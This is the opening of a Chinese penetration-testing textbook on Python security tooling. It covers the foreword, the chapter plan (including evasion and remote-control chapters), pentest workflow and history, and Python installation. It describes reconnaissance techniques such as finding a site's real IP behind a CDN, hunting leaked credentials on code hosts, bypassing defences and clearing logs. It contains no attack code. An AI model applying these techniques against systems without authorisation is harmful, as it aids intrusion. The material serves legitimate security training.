版权信息

书名：Python安全攻防：渗透测试实战指南

作者：吴涛;方嘉明;吴荣德;徐焱

排版：zm

出版社：机械工业出版社

出版时间：2020-08-01

ISBN：9787111664475

— · 版权所有 侵权必究 · —

推荐序

网络江湖，风起云涌，攻防博弈，从未间断，且愈演愈烈。从架构安全到被动纵深防御，再到主动防御、安全智能，直至进攻反制，皆直指安全的本质——攻防。未知攻，焉知防！

每一位网络安全从业者都有仗剑江湖的侠客情怀和维护网络公平正义的初心。渗透测试就是一把“利剑”，出其不意、攻其不备，模拟黑客之攻击，为安全防御系统诊脉，补全不足，修炼内功，提升防御能力。

用别人之剑，还是自己铸剑？哪个更得心应手？哪个威力更强大？答案显而易见。

这本书正是从“铸剑”的视角着眼，从实操的角度入手，覆盖完整的渗透测试流程，编写Python工具，自己铸剑，完成渗透测试。这本书在介绍了渗透测试概念及Python语言基础之后，从渗透测试框架切入，覆盖信息搜集、漏洞检测、加解密、暴力破解、模糊测试、流量分析、免杀技术、远程控制工具等环节和方面，给出了详尽的编写实例，读者可以一步步地去学习、编码，从而拥有自己铸造的“绝世好剑”——渗透测试工具库。

这本书语言简练，实例详尽，可操作性强，无论是初学者还是安全专业人士，都能从中受益。

网络江湖风云再起之时，愿本书可以助你一臂之力！也愿从此网络江湖一片太平，没有恶意入侵者，没有黑产，没有伤害。

唐洪玉

中国电信研究院云安全研究所所长

中国电信安全帮负责人

北京市职工技协网络安全专业委员会理事

北京市科委专家库入库专家

2016中国通信产业年度技术人物

CISSP、PMP、系统分析师

前言

在网络安全领域，是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力。

Python语言近年来已经变得越来越流行，越来越强大。Python除了语法简洁、开发效率高外，最重要的是拥有数量庞大的第三方库，很多知名的网络安全工具、安全系统框架都是用Python开发的，掌握Python编程已经成为网络安全从业人员的必备技能之一。如果你立志成为一名合格的安全从业者，就不能仅停留在使用他人工具的层面，应具备利用Python打造出属于自己的神兵利器的能力！

目前，高校计算机信息安全专业很少将Python在安全领域的应用列入必修课程，市面上的安全书籍也大多以介绍安全工具的使用为主，而忽略了对最为重要的网络安全编程能力的培养，所以这也是我们撰写本书的初衷。优秀的编程能力和丰富的渗透测试经验是一名优秀的渗透测试人员所必备的，希望本书可以让更多的网络安全爱好者和从业人员重视网络安全编程。

本书是MS08067安全实验室继《Web安全攻防：渗透测试实战指南》《内网安全攻防：渗透测试实战指南》后推出的又一本渗透测试实战指南方面的力作，建议读者联合阅读。同时MS08067安全实验室计划于2021年推出《CTF入门之道：安全竞赛实战指南》《区块链安全攻防：渗透测试实战指南》《Java代码安全审计（入门篇）》《工控安全攻防：渗透测试实战指南（入门篇）》等书籍，具体目录及进展情况可在MS08067安全实验室公众号或官网https://www.ms08067.com中查看。

本书结构

本书围绕Python在网络安全渗透测试各个领域中的应用展开，通过大量图解，从实战攻防场景分析代码，帮助初学者快速掌握使用Python进行网络安全编程的方法，深入浅出地讲解如何在渗透测试中使用Python，使Python成为读者手中的神兵利器。

全书理论讲解和实践操作相结合，内容深入浅出、迭代递进，未过多涉及学术性、纯理论性的内容，所讲述的渗透测试编程技术都是干货，读者按照书中所述步骤即可还原实际渗透测试场景。本书主要内容如下。

第1章　渗透测试概述。简单介绍了信息安全发展史、信息安全行业的现状、渗透测试的基本流程以及渗透测试的具体方法。

第2章　Python语言基础。介绍Python相关的基础知识，主要包括Python环境的搭建，编写第一个Python程序，Python模块的安装与使用，Python语言的序列、控制结构、文件处理、异常处理结构，Socket网络编程和可执行文件的转换等基础知识。

第3章　渗透测试框架。详细介绍了Pocsuite渗透测试框架的安装和使用，以及POC、EXP脚本编写。

第4章　信息搜集。介绍主动信息搜集和被动信息搜集的方法，以及如何通过Python编写一套属于自己的信息搜集工具。

第5章　漏洞检测与防御。详细介绍了几种常见漏洞的原理、检测方法以及防御策略，如未授权访问漏洞、外部实体注入漏洞、SQL盲注漏洞、服务端请求伪造漏洞等，还介绍了SQLMap的Tamper脚本的编写方法。

第6章　数据加密。介绍了常见加密算法的原理，如Base64编码、DES、AES、MD5等加密算法，以及如何通过Python脚本的方式实现对数据加解密。

第7章　身份认证。主要介绍如何混合破解弱口令，结合社会工程学的知识以及网络协议的弱点，找到极具可能性的密码组合。主要内容包括社会工程学密码字典的生成，后台弱口令问题，SSH以及FTP口令问题。

第8章　模糊测试。主要介绍模糊测试在安全测试中的使用及思路，主要包括模糊测试的基本原理，利用模糊测试绕过安全狗以及优化。

第9章　流量分析。介绍如何通过Python脚本获取网络中的流量数据并进行有效分析。主要内容包括流量嗅探、ARP毒化、拒绝服务攻击及防御策略。

第10章　Python免杀技术。主要介绍如何通过Python实现免杀，包括Python中shellcode加载与可执行文件生成，Cobalt Strike的使用及拓展等。

第11章　远程控制工具。介绍如何利用Python编写远程控制工具，主要内容包括Python远程控制工具的基础模块，远程控制工具的编写和使用。

特别声明

本书仅限于讨论网络安全技术，严禁利用本书所提到的漏洞和技术进行非法攻击，否则后果自负，本人和出版商不承担任何责任！

读者服务

本书的同步公众号为“MS08067安全实验室”，公众号号码为Ms08067_com，公众号中可提供以下资源：

·本书中的全部脚本源代码。

·本书讨论的所有资源的下载或链接。

·关于本书内容的勘误更新。

·关于本书内容的技术交流。

·阅读本书的过程中遇到的任何问题或意见的反馈。

致谢

感谢机械工业出版社策划编辑吴怡为本书出版所做的大量工作；感谢王康对本书配套网站的维护；感谢唐洪玉、lake2、杨文飞、鲍弘捷、四爷、倪传杰、张鉴百忙之中抽空为本书写序或推荐语。

MS08067安全实验室是一个低调潜心研究技术的团队，衷心感谢团队的所有成员，他们是椰树﹑李华峰﹑令狐甲琦、cong9184﹑rkvir﹑roach、AskTgs、杨斌斌、冯杰、支树福、谢鸿俊、孙培豪、恩格尔﹑mzfuzz﹑王老师﹑曲云杰﹑王恺﹑赵风旺﹑500﹑q1ng﹑王康﹑Harveysn0w﹑大王叫我来巡山等，希望通过我们的努力能给安全圈留下一点东西。这里还要特别感谢安全圈的好友，包括但不限于莫名﹑李文轩﹑陈小兵﹑王坤﹑Phorse、杨凡、key﹑klion﹑陈建航﹑陈亮﹑王东亚﹑不许联想、兜哥﹑张胜生﹑程冲﹑周培源、laucyun﹑Demon﹑玄魂、sunvimp、Arcobaleno、星晴、3had0w、eth10、Twe1ve、Leafer、Sin、墨竹星海、清晨﹑Amzza0x00、叶杰锋、xiaoYan、bios000、DarkZero、云顶、许本川、冯正平、电信安全帮研究团队等，感谢他们对这本书给予支持和建议。

念念不忘，必有回响！

徐焱

2020年6月30日

第1章
渗透测试概述

渗透测试是通过模拟攻击者的方法探寻被测信息系统的安全隐患，继而评估其潜在的风险。测试人员不仅要挖掘攻击者可以利用的安全漏洞，而且还要尽力利用这些漏洞，从而评估网络攻击可能造成的实质危害。渗透测试人员所做的工作就是要先于攻击者找到漏洞问题，提出针对各个问题的改进建议，以避免问题的发生和造成更多损失。

本章将概述信息安全领域的整体概况，以及渗透测试的大致流程，为后续章节的学习打下一个扎实的基础，主要内容包括：

·信息安全发展史。

·信息安全行业的现状。

·渗透测试的基本流程以及具体方法简介。

1.1　信息安全发展史

信息安全概念的出现远远早于计算机的诞生，但计算机诞生后，尤其是网络出现以后，信息安全变得更加复杂。现代信息安全区别于传统意义上的信息介质安全，是专指电子信息的安全。信息安全作为一门新兴的学科，在当今的信息化时代背景下，已经逐步扩充到以计算机技术为核心，包括网络技术、通信技术、密码技术、信息安全技术、数论、信息论等多种学科相结合的综合性学科。

纵观信息安全发展的历史，其概念与内涵也在随着时间的推移而不断变化。信息安全发展历史，大致可分为如下四个时期。

第一时期是通信安全时期，其主要标志是1949年C.Shannon发表的“保密系统的通信理论”一文，开辟了用信息论来研究密码学的新思路，使他成为近代密码理论的奠基者和先驱，而由于当时信息技术不发达，信息安全的范围仅限于保障计算机的实体安全以及通过密码解决通信安全的保密问题。

第二时期是计算机安全时期，主要标志是1983年美国国防部公布了《可信计算机系统评估准则》（Trusted Computer System Evaluation Criteria，TCSEC），计算机和网络技术的应用进入了实用化和规模化阶段，数据的传输已经可以通过计算机网络来完成，这时，“安全”的概念已经不仅仅是计算机实体的安全，也包括软件与信息内容等的安全。

第三时期是20世纪90年代发展壮大的网络时代，由于互联网技术的爆炸式发展，世界信息技术的革命使许多国家把信息化作为国策，美国发布“信息高速公路”等政策，我国也于1994年颁布了第一个计算机安全方面的法律《中华人民共和国计算机信息系统安全保护条例》，在这一时期，许多企事业单位开始把信息安全作为系统建设中的重要内容之一，并且一些学校和研究机构开始将信息安全作为大学课程和研究课题，信息安全人才的培养开始起步，这也是中国信息安全产业发展的重要标志。

第四时期是进入21世纪后的信息安全保障时代，主要标志是《信息保障技术框架》（IATF）的发表。现阶段人们几乎全方位依赖计算机网络，从技术来上来讲，信息安全保障不再是只建立防护屏障，而是建立一个“深度防御体系”；不再是被动地保护自己，而是主动地防御。从政策上来讲，我国高度重视信息安全工作，2014年2月27日，中央网络安全和信息化领导小组成立；2014年11月19日，我国举办了规模最大、层次最高的互联网大会——第一届世界互联网大会；2015年7月6日，《中华人民共和国网络安全法》公布；2016年12月，国家互联网信息办公室发布了《国家网络空间安全战略》。随着国家对信息安全行业的重视和相关法律法规的出台，标志着信息安全已经上升到与政治安全、经济安全、领土安全等并驾齐驱的战略高度。

1.互联网起源

1968年，美国国防部高级研究计划局组建了一个计算机网络，名为ARPANET（Advanced Research Projects Agency Network，又称“阿帕”网）。按央视的数据，新生的“阿帕”网获得了美国国会批准的520万美元的筹备金及两亿美元的项目总预算，是当年中国国家外汇储备的3倍。时逢美苏冷战，美国国防部认为，如果仅有一个集中的军事指挥中心，万一被苏联摧毁，全国的军事指挥将处于瘫痪状态，所以需要设计一个分散的指挥系统。由一个个分散的指挥点组成，当部分指挥点被摧毁后，其他指挥点仍能正常工作，而这些分散的指挥点又能通过某种形式的通信网取得联系。

1969年，“阿帕”网第一期投入使用，有4个节点，分别位于加利福尼亚大学洛杉矶分校、加利福尼亚大学圣巴巴拉分校、斯坦福大学以及位于盐湖城的犹他州州立大学。位于各个节点的大型计算机采用分组交换技术，通过专门的通信交换机（IMP）和专门的通信线路相互连接。一年后“阿帕”网扩大到15个节点。1973年，“阿帕”网跨越大西洋利用卫星技术与英国、挪威实现连接，扩展到了世界范围。

互联网就萌芽于此。据说，用互联网发送的第一条信息是“Lo”。1969年10月29日晚上10点30分，克兰罗克在洛杉矶向在斯坦福的比尔·杜瓦传递信息，他想发送一个包含五个字母的单词Login（登录），但是在他输入“Lo”后，系统死机了，仪表显示传输系统突然崩溃，通信无法继续进行，因此，世界上第一次互联网络的通信试验仅仅传送了两个字母：Lo。

2.中国互联网的发展

中国用了近7年的时间真正接入互联网。这7年中的标志性事件包括：

1988年，中国科学院高能物理研究所采用X.25协议，使本单位的DECnet成为西欧中心DECnet的延伸，实现了计算机国际远程联网以及与欧洲和北美地区的电子邮件通信。

1989年11月，中关村地区教育与科研示范网络（简称NCFC）正式启动，由中国科学院主持，联合北京大学、清华大学共同实施。

1990年11月28日，中国注册了国际顶级域名CN，在国际互联网上有了自己的唯一标识。最初，该域名服务器架设在德国的卡尔斯鲁厄大学计算机中心，直到1994年才移交给中国互联网信息中心。

1992年12月，清华大学校园网（TUNET）建成并投入使用，这是我国第一个采用TCP/IP体系结构的校园网。

1993年3月2日，中国科学院高能物理研究所接入美国斯坦福线性加速器中心（SLAC）的64K专线，正式开通中国接入Internet的第一条专线。

1994年4月20日，中国实现与互联网的全功能连接，成为接入国际互联网的第77个国家。

3.扩展资料

另一个推动Internet发展的广域网是NSF网，它最初是由美国国家科学基金会资助建设的，目的是连接全美的5个超级计算机中心，供100多所美国大学共享它们的资源。NSF网也采用TCP/IP协议，且与Internet相连。

“阿帕”网和NSF网最初都是为科研服务的，主要目的是为用户提供共享大型主机的宝贵资源。随着接入主机数量的增加，越来越多的人把Internet作为通信和交流的工具。一些公司还陆续在Internet上开展了商业活动。随着Internet的商业化，其在通信、信息检索、客户服务等方面的巨大潜力被挖掘出来，使Internet有了质的飞跃，并最终走向全球。

1.2　信息安全行业的现状

在信息安全领域，早期大多数客户购买安全服务的动机是应对当前的安全事件或者减轻来自内外的舆论压力，导致服务内容和现实需求之间存在较大差异。

目前，对于信息安全服务比较重视的是政府、电信、银行、军队等领域。自2017年6月1日实施《中华人民共和国网络安全法》以来，证券、交通、教育、制造业等行业对信息安全服务的需求也日趋加强，为信息安全市场注入了新的活力。随着信息安全立法的完善和信息安全意识的强化，人们对信息安全产品的需求也逐渐提升，这为我国的信息安全产业持续发展奠定了巨大的市场基础。最近几年，我国信息安全产业快速发展，市场规模持续增长。2016年，我国信息安全产业规模为340亿元，较2015年增长22%，远高于8.2%的全球平均增长水平，总体保持快速增长趋势。网络安全企业创新活跃，态势感知、监测预警、云安全服务等新技术、新服务不断涌现，以产品为主导的产业格局正向“产品和服务并重”的方向转变，网络安全企业的实力有了较大提高，超过30家企业年度营收过亿，出现了一批具有产业整合能力的龙头企业。2016年，成都、武汉、上海等地都在加大网络安全产业布局，积极打造国家网络安全产业高地，网络安全产业集群效应初步显现。

智研咨询发布的研究报告中指出，信息安全行业已达几百亿规模，并随着政府的支持而持续增长。业内还普遍预测，随着网络安全法等一批重要政策的出台，网络安全产业将在“十三五”期间迎来黄金发展期，市场规模将达千亿元级别，发展速度远远超过其他传统工业。现阶段信息安全服务可以分为：安全咨询、等级评测、风险评估、安全审计、运维管理、安全培训等方向，而渗透测试在整个安全服务中又占据了较大的比重。

渗透测试基本上可以分为白盒测试和黑盒测试。黑盒测试是指在对客户组织的产品一无所知的情况下模拟真实的入侵手段，对用户所需测试的产品进行渗透测试。白盒测试是指在拥有客户组织所有的资产信息的情况下进行渗透测试。

黑盒测试的渗透测试团队将会从一个远程网络或外部网络对目标的基本网络设备进行访问，在此之前，渗透测试团队对于目标的网络拓扑及其架构一无所知。渗透测试团队将会完全模拟真实的外部入侵者，探索并发现目标网络中的已知或未知的安全性漏洞，并对发现的漏洞进行利用，评估漏洞对业务和网络权限造成的危害及损失。

黑盒测试还可以对目标内部的安全团队的检测和应急响应能力做出评估。当渗透测试完成后，黑盒测试团队会对发现的系统安全漏洞、安全风险以及利用漏洞对业务可能造成的影响范围等方面进行总结并编写完整的渗透测试报告。

黑盒测试相对白盒测试更加费时费力，并且要求渗透测试人员所具备的技术能力更加突出。在安全行业中，相较白盒测试，黑盒测试是更受推崇的，因为黑盒测试更真实地模拟了一次入侵过程，发现系统存在的漏洞，为系统安全防御指明目标。

白盒测试的渗透测试团队更加了解目标环境的所有内部与底层架构及代码。因此相比黑盒测试，白盒测试能以更小的代价发现和验证系统中最严重的安全漏洞。如果实施得当，白盒测试会比黑盒测试发现更多的安全漏洞和弱点，从而为客户带来更大的价值。

白盒测试与黑盒测试实施的流程类似，区别在于白盒测试无须对目标资产进行定位和信息搜集。除此之外，白盒测试能够方便地穿插在常规开发和部署计划周期内，能较早地发现并消除一些可能存在的安全隐患，从而避免被入侵者发现漏洞和利用。

白盒测试中发现和解决安全缺陷的时间较黑盒测试要减少很多，但是白盒测试无法像黑盒测试那样评估客户内部安全团队的检测能力及应急响应能力，即无法判断客户的安全防护能力以及对特定攻击的监测效率。

1.3　渗透测试的基本流程

渗透测试是出于保护系统的目的，对目标系统进行的一系列测试，模拟黑客入侵的常见行为，从而寻找系统中存在的漏洞。渗透测试的基本流程主要分为8个步骤：明确目标、信息搜集、漏洞探测、漏洞验证、信息分析、获取所需信息、信息整理、报告形成，如图1-1所示。

本书将着重介绍明确目标、信息搜集、漏洞探测、漏洞验证、信息分析、信息整理这6个方面，展示Python语言在渗透测试过程中的实际运用。在第4章中，将会从外网被动信息搜集和主动信息搜集两个方面讲解信息搜集、信息分析。在第5章中，将会从未授权访问漏洞、XXE漏洞、SQL注入漏洞以及SSRF漏洞等方面讲解漏洞探测、漏洞验证。下面介绍渗透测试流程中每个步骤所使用的技巧及方法。

图1-1　渗透测试的基本流程

1.明确目标

在这个阶段，渗透测试团队需要与客户进行沟通，确定目标的范围、限度、需求等，并根据这些内容制定全面、详细的渗透测试方案：

·确定范围：渗透测试目标的IP、域名、内外网、子网、旁站等。

·确定限度：明确对渗透测试目标允许渗透到什么程度，允许测试的时间段，是否允许进行上传、下载、提取等高危操作。

·确定需求：例如，探测Web应用服务漏洞（新上线应用）、业务逻辑漏洞（针对业务面）、人员权限管理漏洞（针对人员、权限）等。

2.信息搜集

在这个阶段，渗透测试团队可以利用各种方法，获取更多关于目标网络的拓扑、系统配置等信息。搜集信息的方式包括扫描、开放搜索等，利用搜索引擎获得目标后台、未授权页面、敏感URL等。需要搜集以下类型的信息：

·基础信息：IP、网段、域名、端口。

·系统信息：操作系统及其版本。

·应用信息：各个端口应用服务，如Web应用、邮件应用等。

·版本信息：所有探测到信息的版本。

·服务信息：高危服务，如文件共享服务等。

·人员信息：域名注册人员信息、管理员信息、用户信息等。

·防护信息：防护设备的信息，如安全狗等。

3.漏洞探测

在这个阶段，渗透测试人员需要综合分析前期阶段所搜集到的信息，特别是历史安全漏洞信息、服务信息等，找到可以实施渗透的点，利用搜集到的各种系统、应用、服务等信息使用相应的漏洞测试。包括如下方法：

·使用漏洞扫描器，如AWVS、IBM、AppScan等。

·结合漏洞寻找利用方法，验证Proof of Concept。

·寻找系统补丁信息探测系统漏洞，检查是否没有及时打补丁。

·检查Webserver漏洞（配置问题）、Web应用漏洞（开发问题）。

·检查明文传输、cookie复用等问题。

4.漏洞验证

将漏洞探索过程中发现的有可能成功利用的全部漏洞验证一遍，结合实际情况，搭建模拟环境进行实验，成功后再应用于目标。这个过程需要自动化验证，即结合自动化扫描工具提供的结果手工验证，根据公开资源进行验证。可以尝试猜登录口的账号、密码等信息的方式。如果发现业务漏洞，则进行验证。在公开资源中寻找系统漏洞，如乌云镜像站、Google Hacking、渗透代码网站、通用应用漏洞、厂商漏洞警告等。

5.信息分析

对搜集到的信息进行分析，为下一步实施渗透测试做准备。准备探测到的漏洞利用程序，精准打击目标。包括以下一些手段：

·绕过安全防御机制、防火墙等设备。

·定制渗透路径，寻找目标突破口。

·绕过检测机制、流量监控、杀毒软件、恶意代码检测（免杀技术）等。

6.获得所需信息

根据前几步结果获取所需信息，包括以下一些手段：

·获取内部信息，即基础设施信息（网络架构、拓扑、VPN等）。

·进入内网，进行权限维持（一般客户做渗透测试不需要进行此步骤）。

·痕迹清理，清除相关访问操作日志及文件。

7.信息整理

把以上操作的内容总结出来，需要整理如下信息，为最后形成报告和测试结果做好准备：

·所用的渗透工具，包括渗透测试过程中用到的代码、POC、EXP等。

·搜集的信息，包括渗透测试过程中搜集到的一切信息。

·漏洞的信息，包括渗透测试过程中遇到的漏洞、脆弱的位置信息等。

8.形成报告

按照与客户确定好的范围、需求整理渗透测试结果并将资料形成报告。对漏洞成因、验证过程及其危害进行严谨分析，并补充针对漏洞问题的高效修复建议及解决办法。

1.4　渗透测试的具体方法

为了让读者直观地理解上述内容，下面来看一个渗透测试案例。

1.明确目标

明确目标是整个渗透测试实施的基础，通过与客户沟通后确定渗透测试的目的以及范围，有时客户会提供完整、明确的目标范围，但多数情况下客户所提供的渗透测试范围并不完善，仅仅是给了一个主站域名，本案例就是这样。

2.信息搜集

信息搜集得完善与否将会严重影响后续渗透测试的速度与深度。要搜集的信息主要包括目标的IP地址、网段、域名和端口。

当拿到渗透测试目标的域名后，首先，我们需要判断域名是否存在CDN（Content Delivery Network，内容分发网络），主要解决因传输距离和不同运营商节点造成网络速度性能低下的问题。说得简单点，就是设置一组在不同运营商之间的对接节点上的高速缓存服务器，把用户经常访问的静态数据资源（例如静态的html、css、js图片等文件）直接缓存到节点服务器上，当用户再次请求时，会直接分发到离用户近的节点服务器上响应给用户，当用户需要数据时，才会从远程Web服务器上响应，这样可以大大提高网站的响应速度及用户体验。

案例公司的网站主服务器部署在A地，当有一个用户在B地进行访问的时候，由于B地与A地的地理位置差距较大，便会造成网站可用性降低。此时，若是使用了CDN的服务，CDN的中心服务器便会将在A地的网络主站服务器的内容，通过中心平台下发到距离B地较近的CDN服务器中，当B地的用户需要访问此网站服务时，通过域名去访问将会访问到CDN的服务，而CDN将会把相应服务器中网站的内容发送给B地的用户，这样挑选离用户更加靠近的服务器进行内容分发，将会大大地提高网站的可用性。

现阶段，大型网站多数都使用了CDN服务。判断目标网站是否使用了CDN服务将会减少不必要的资源浪费。因为当目标是公司的真正网站时，如果没有分辨出真实网站与CDN，将会造成后续的渗透测试全部实施到了CDN服务器，而没有真的渗透到客户的网站。而判断目标网站是否使用了CDN，可以使用在线的网站http://ping.chinaz.com/实现，通过该网站对域名进行监测，因为CDN的主要目的是将内容分发到网络，所以如果目标网站使用了CDN，那么在不同的地理位置去ping网站域名所得到的IP地址必然是不一样的，如图1-2所示。

图1-2　CDN监测

如果查询出来的IP地址数量大于一个时，说明这些IP地址并不是真实的服务器地址。当查询出来的是2～3个IP地址，同时这2～3个IP地址属于同一个地址的不同运营商时，很可能这2～3个IP地址都是服务器的出口地址，而该服务器部署在内网中，使用了不同运营商的映射进行互联网访问。如果IP地址有多个，并且分布在不同的地区时，基本可以确定网站就是使用了CDN的服务。

如何绕过CDN来获取网站的真实IP信息呢？大致有如下几个步骤：

1）通过内部邮箱来获取网站真实IP。大多数情况下，邮件服务系统都是部署在公司内部的，并且没有经过CDN的解析，可以通过目标网站的邮箱注册或者订阅邮件等功能，让网站的邮箱服务器给自己的邮箱服务器发送邮件。查看邮件的原始邮件头，其中会包含邮件服务器的IP地址，如图1-3所示。

图1-3　邮件头

2）查看域名的历史解析记录。当目标网站的域名使用时间较长时，可能在目标网站刚刚使用的时候并没有绑定CDN的服务，CDN的服务是后来加上的。那么在DNS服务器的历史解析记录中就可能存在目标网站服务器未使用CDN时的真实IP地址，可以通过EXAMPLE网站（https://dnsdb.io/zh-cn）进行查询，如图1-4所示。

3）子域名地址查询。CDN的服务收费并不算便宜，所以有许多站长出于省钱的目的，只会为网站的主站和部分流量较大的子站购买CDN的服务，而目标网站服务器可能有许多细小子站或者旁站与目标网站服务器部署在同一台机器或者C段网段上，这时只需要知道子站或者旁站的IP地址，就可以猜解出网站的真实IP地址。

4）国外地址访问。国内的CDN服务主要是针对国内的用户访问进行服务，对于国外的访问，则没有多少国内CDN服务商会进行服务。由此，我们通过使用国外的服务器或地址访问目标网站服务，便可得到真实的目标IP地址。也可以使用以下的国外在线代理网站（见公众号链接1-1）进行检测，如图1-5所示。

图1-4　DNS解析记录

图1-5　外国地址访问

5）主域名查询。以前，CDN使用者习惯只对WWW域名使用CDN，优点是这样使用CDN的服务，在维护网站时会更加方便，不需要等待CDN的缓存。所以也可以试一试将目标网站服务器的WWW去掉，直接ping网站，查看IP是否有变化。

6）Nslookup查询。通过查询域名的NS、MX、TXT记录，有可能找到真实的目标网站IP地址。NS记录是指域名服务器的记录，用来指定域名由哪台服务器进行解析，使用命令nslookup-qt=ns xxx.com。MX记录mail服务的权重值，当mail服务器先对域名进行解析时，会查找MX记录，找到权重值较小的服务器进行连通，使用命令nslookup-qt=mx xxx.com。TXT记录一般是为某一条记录设置说明，使用命令nslookup-qt=txt xxx.com。

搜集完网站的真实IP后，还需要对网站域名的whois信息进行搜集。whois是用来记录域名注册的所有者信息的传输协议。换句话说，whois就是用来记录所查询的域名是否已经被注册了，记录了注册域名的详细信息，如域名所有人、域名注册商等。whois的查询方法可以通过命令行接口进行查询。现在出现了一些网页接口简化的线上查询工具页面（网址为http://whois.chinaz.com/），能够一次向不同的数据库进行查询，如图1-6所示。

图1-6　whois查询

当我们确定了目标客户公司的具体信息时，可以去网络上查询与该公司有关的信息，如公司的邮箱、邮箱格式、公司员工姓名、公司人员配置等任何与之相关的信息。同时，也可以到GitHub、码云等互联网代码托管平台查找与之相关的敏感信息。人是一个组织中最薄弱的环节，会有一些粗心的程序员或其他员工将公司的代码上传后，没有做脱敏处理，导致已上传的代码可能包含数据库连接信息、密码，甚至网站源代码等信息。

如果目标网站系统并非自主研发的，就很有可能是使用了一些CMS建站系统，如phpcms、eshop、wordpress、dedecms、disuz、phpweb、dvbbs、thinkphp等构建的。对网站进行指纹识别，将会识别出网站所使用的CMS信息。利用搜集到的CMS信息可以去查找相关的历史漏洞。进行指纹识别可使用下面的网站（网址为http://www.yunsee.cn/finger.html），如图1-7所示。

图1-7　指纹识别

3.漏洞探测

在搜集完需要的信息之后就可以进行下一步操作：漏洞探测。漏洞探测的目的是找出可能存在的漏洞，然后进行分析验证。一般是通过自动扫描工具结合人工操作以及之前所搜集的信息去挖掘漏洞。现今使用得比较广泛的漏洞扫描工具有AWVS（Acunetix Web Vulnerability Scanne）、NESSUS、AppScan等。

·AWVS是一款较知名的漏洞扫描工具，通过网络爬虫来测试网站的安全性，监测安全漏洞，使用也较为简单。

·NESSUS是一款全球使用人数非常多的系统漏洞扫描和分析软件，提供了完整的主机漏洞扫描服务，且随时更新漏洞数据库，具有家用版本和商用版本。

·AppScan安装在Windows系统上，可以对网站等Web应用进行自动化漏洞扫描和安全测试。

4.漏洞验证

漏洞探测完成后需要进行漏洞验证，验证所发现的漏洞是否真实存在，对于目标网站系统能够造成多大的危害。在这个过程中需要做到小心谨慎，对于可能造成的危害较大的漏洞，要防患于未然，有条件时最好在本地搭建一个与实际环境相同的环境进行验证，以免给客户造成经济损失。也可以利用公开的资源，例如，在乌云镜像站中查找对应的历史漏洞进行分析。在在线网站里查找乌云知识库镜像（见公众号链接1-2）或者自己动手搭建一个乌云镜像站（见公众号链接1-3），如图1-8所示。还可以通过Google Hacking进行搜索，或者查看厂商的预警漏洞的验证。

图1-8　乌云镜像站

验证确实存在漏洞后，再进行信息分析，需要分析漏洞位置以及如何利用，分析相同漏洞的案例，然后进行精准测试。在此过程中可能会遇到网站安全防护机制，如防火墙、杀毒软件等的拦截，需要绕过此类安全防护软件再进行进一步的利用。漏洞利用成功后就打开了目标网站服务的缺口，进而获得所需信息，即前期沟通包含的内容，如网络架构、域控服务器等信息。

至此，一次完整的渗透测试基本告一段落，后续需要进行信息整理，包括整个渗透测试的思路、分析、成果，并编写成渗透测试报告，给客户提出针对漏洞的修复意见和办法。

1.5　小结

在本章中，我们大致了解了信息安全的发展历史，从互联网的起源到中国互联网的发展，再到第一个计算机病毒的出现，以及随之而诞生的信息安全行业现今的发展状况。然后介绍了在信息安全行业中渗透测试的基本流程，以及各个流程中所涉及的技术。在后续章节中将讲解如何运用Python来提高渗透测试的效率，以及相关的具体技术。

第2章
Python语言基础

“工欲善其事，必先利其器”，在开始进行期待已久的编程之前，首先需要搭建好开发环境。熟悉开发环境是学习一门语言的第一步，只有这样才能高效地实现程序的相应功能。本章将简单介绍Python相关基础知识，拥有良好的知识基础，将有利于后期的深入学习与研究。本章主要内容包括：

·Python环境的搭建。

·编写第一个Python程序。

·Python模块的安装与使用。

·Python语言的序列、控制结构、文件处理、异常处理结构等。

·Socket网络编程的基础知识。

·可执行文件的转换。

2.1　Python环境的搭建

本书以Python 3为语言基础。Python 3又称为Python 3000，简称Py3k，相对于Python 2.0版本有了较大的提升。Python 3可应用于多种平台，其中包括Windows系统、Linux系统、Mac OS X系统等。本节将介绍Windows系统和Linux系统两大平台中Python 3的安装，相关内容可参考如下页面。

·Python官网：http://www.python.org/。

·Python 3官方文档：http://docs.python.org/3/。

·Python中文教程：http://www.pythondoc.com/pythontutorial3/index.html。

2.1.1　Windows系统下的安装

首先从官方网站（https://www.python.org/downloads/windows）下载Python 3版本的安装包，64位Windows操作系统可以下载Windows x86-64 executable installer，32位操作系统可以下载Windows x86 executable installer。此处演示系统为Windows 10，64位操作系统。如图2-1所示为Python 3环境的下载页面。

图2-1　Python 3下载页面

下面开始安装Python 3。

1）下载完成后，直接双击Python安装包，进入图形安装界面。勾选添加路径选项，点击Customize installation选项，如图2-2所示。

图2-2　安装初始界面

2）勾选Install for all users选项，设置好Python的安装路径，点击Install按钮进行安装，如图2-3所示。

图2-3　设置安装路径

3）等待片刻，就可以看到安装成功的界面，点击Close按钮，完成安装，如图2-4所示。

图2-4　安装完成

4）通过Windows+R快捷键打开运行窗口，在窗口中输入cmd进入命令行模式，输入python-V验证Python环境是否正确安装，如图2-5所示。

图2-5　cmd安装验证

2.1.2　Linux系统下的安装

在Linux系统下安装Python环境的方式有很多种，常见的方式有两种：命令行安装和源码安装。下面介绍命令行安装方式。另外，不同的Linux发行版本的安装方式也不同，此处仅仅介绍在Ubuntu平台下的安装过程。如果读者使用的是其他平台，请自行上网查询相关资料。

1）在Linux系统中安装Python环境之前，需要执行如下指令进行系统更新：

>>>sudo apt-get update
>>>sudo apt-get upgrade
>>>sudo apt-get dist-upgrade

结果如下：

2）通过apt-get指令安装Python 3以及一些基础库：

>>>sudo apt-get install python3

效果如下：

执行完上述命令后，就已经成功安装好Python 3了。

3）可以在终端输入python3-VV查看安装版本，如下所示：

4）安装pip，用来安装后期所需要库函数模块，这里仍然通过apt-get进行安装，相关指令如下：

>>>sudo apt-get install python-pip

结果如下：

根据上述指令安装完成的pip3，通常需要升级到10.0.1以上版本，否则在安装库函数模块时会出现错误，执行如下指令升级pip的版本：

>>> sudo pip install --upgrade pip

结果如下所示：

执行完以后还需要更改配置文件，打开/usr/bin/pip文件，更改为如下内容：

import sys
from pip import __main__
if __name__ == '__main__':
    sys.exit(__main__._main())

保存后退出，此时就完成了pip的安装，并彻底在Linux系统下搭建好了Python开发环境。

2.2　编写第一个Python程序

